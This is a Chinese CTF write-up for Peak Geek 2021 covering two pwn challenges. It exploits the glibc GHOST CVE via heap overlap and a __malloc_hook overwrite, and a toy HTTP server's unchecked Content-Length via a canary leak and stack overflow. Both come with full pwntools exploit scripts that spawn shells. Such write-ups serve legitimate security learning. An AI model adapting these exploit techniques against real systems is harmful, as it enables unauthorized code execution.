0%

巅峰极客2021

打得最刺激的一次,拿了个二血,还剩十分钟的时候做出来了 msgparser。做出来的题目都是比较常规的,一个是菜单题中利用 glibc 中的 CVE,一个是(虚假的)http server 中的人为漏洞。赛后研究一下 mimic-game,似乎是一个多线程的条件竞争题。还有堆风水总是要弄半天。。。

打完后累得不行,还是得多锻炼身体。

巅峰极客最终排名

GHOST

猜测

用 ida 反编译,发现是一个常见的菜单题。
粗略地看过后没有发现常见的漏洞。而程序中使用了在堆题中不常见的 gethostbyname_r,再加上题目给了一个不常见的低 libc 版本,据此推测题目考察的是 glibc 中的 CVE。

Poc

经过简单的搜索后发现名为 GHOST 的 glibc 中的漏洞,与题目名称对应。
然后找到了一个 PoC:https://gist.github.com/dweinstein/66e6a088191ac0e8105c,编译、使用 patchelf 改变 ld 和 libc、运行,发现漏洞存在。

利用

利用这个漏洞,我们可以在堆上溢出 8 个字节,然而经过测试,溢出的字节只能为数字的 ascii 码值,不然程序会崩溃。
于是我选择将 chunk size 修改为 0x3031,free 从而构造 overlap,之后就是修改 fastbin 的 fd,申请 chunk 到 _malloc_hook 上方,改 _malloc_hook 为 one_gadget,最终 get shell。

堆风水搞了半天,直接猪脑过载。(主要原因是每次分配和释放都会操作三个 chunk,还有忘记了 malloc large chunk 的时候会触发 malloc_consolidate)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

#io = process("./ghost")
io = remote("118.190.217.168", 23347)
libc = ELF("./libc.so.6")

def add(idx, size, content):
io.sendlineafter(">>", str('1'))
io.sendlineafter("idx:", str(idx))
io.sendlineafter("len:", str(size))
sleep(0.2)
io.sendline(content)

def show(idx):
io.sendlineafter(">>", str('2'))
io.sendlineafter("idx:", str(idx))

def delete(idx):
io.sendlineafter(">>", str('3'))
io.sendlineafter("idx:", str(idx))

# 覆盖chunk size为0x3031,泄漏libc地址
add(0, 31-8, p8(0x30) * (31-8-8) + p64(0x303130))
add(2, 0x68 - 1, '2')
add(1, 0x3028 - 0x30 - 0x130 - 1, '0')
delete(0)
add(0, 0x3028 - 1, '1111111111111')
show(0)
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3c17d8
print("libc.address = " + hex(libc.address))

add(7, 31-8, p8(0x37))

# 修改victim的fd,指向__malloc_hook上方
add(0, 31-8, p8(0x30) * (31-8-8) + p64(0x303130))
add(2, 0x68 - 1, '2') # victim
add(3, 0x58 - 1, '3')
add(4, 0x28 - 1, '4')
add(5, 0x28 - 1, '5')
add(6, 0x28 - 1, '6')
add(1, 0x3028 - 0x30 - 0x130 * 1 - 0x110 * 1 - 0xb0 * 3 - 1, '0')
delete(0)
delete(2)
delete(4)
delete(5)
delete(6)
add(0, 0x100 - 1, p8(0x32) * (8 * 0x5 - 1) + p8(0) + p64(0x71) + p64(libc.symbols["__malloc_hook"] - 0x20 + 0x5 + 0x8))

# 申请到__malloc_hook上方,修改__malloc_hook为one_gadget
add(8, 0x68 - 1, '888888\n')
add(9, 0x68 - 1, b'9' * 2 + p8(0) + p64(libc.address + 0x462b8))

io.interactive()

msgparser

分析

程序实现了一个 http 服务器。服务器解析输入后,会将 content 拷贝到一个 output 数组中:

msgparser_copy

而 output 数组位于栈上:

msgparser_output_in_main

漏洞点

程序没有对 Content-Length 字段的值做检查,所以可以泄漏栈上的任意长的信息,以及进行任意长的栈溢出。

利用

因为输入拷贝到 msg 时有 ‘\x00’ 截断,所以我们不能一次性覆盖 canary 和返回地址(因为 canary 的最低字节总为 ‘\x00’)。

而 parse 成功时,程序会再次接收输入。据此我们可以先覆盖返回地址,再覆盖 canary。最后输入错误的信息,parse 失败,main 函数返回时就会执行流就会跳转到 one_gadget。

对 parse_msg 函数的逆向会花费一些时间。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

#io = process("./chall")
io = remote("118.190.217.168", 43589)
libc = ELF("./libc-2.27.so")

# 将has_content设为真
msg = '''\
GET / HTTP/1.0\n\
Connection: Close\n\
Content-Length: 2\n\
\n\
\x01aaaaaaaaaaa\
'''

# 泄漏栈上的信息(canary和libc地址)
msg_2 = '''\
GET / HTTP/1.0\n\
Connection: Close\n\
Content-Length: 112\n\
\n\
\x02aaaaaaaaaaa\
'''

io.sendafter("msg> ", msg)
io.sendafter("msg> ", msg_2)
io.recv(0x58)
canary = u64(io.recv(8))
print("canary = " + hex(canary))
io.recv(0x8)
libc.address = u64(io.recv(8)) - 0x21b10 - 243
print("libc.address = " + hex(libc.address))

# 覆盖返回地址
msg_3 = b'''\
GET / HTTP/1.0\n\
Connection: Close\n\
Content-Length: 113\n\
\n\
'''
msg_3 += b'\x01' + b'a' * 0x60 + p64(0xdeadbeefdeadbeef) + p64(libc.address + 0x4f3d5)
io.sendafter("msg> ", msg_3)

# 修改canary
msg_4 = b'''\
GET / HTTP/1.0\n\
Connection: Close\n\
Content-Length: 97\n\
\n\
'''
msg_4 += b'\x01' + b'a' * (0x60 - 0x8) + p64(canary + 0x20)
io.sendafter("msg> ", msg_4)

# 修改canary最低字节
msg_5 = b'''\
GET / HTTP/1.0\n\
Connection: Close\n\
Content-Length: 89\n\
\n\
'''
msg_5 += b'\x01' + b'a' * (0x60 - 0x8) + p8(0)
io.sendafter("msg> ", msg_5)

# 返回到one_gadget,get shell
io.sendafter("msg> ", "jkilopu")

io.interactive()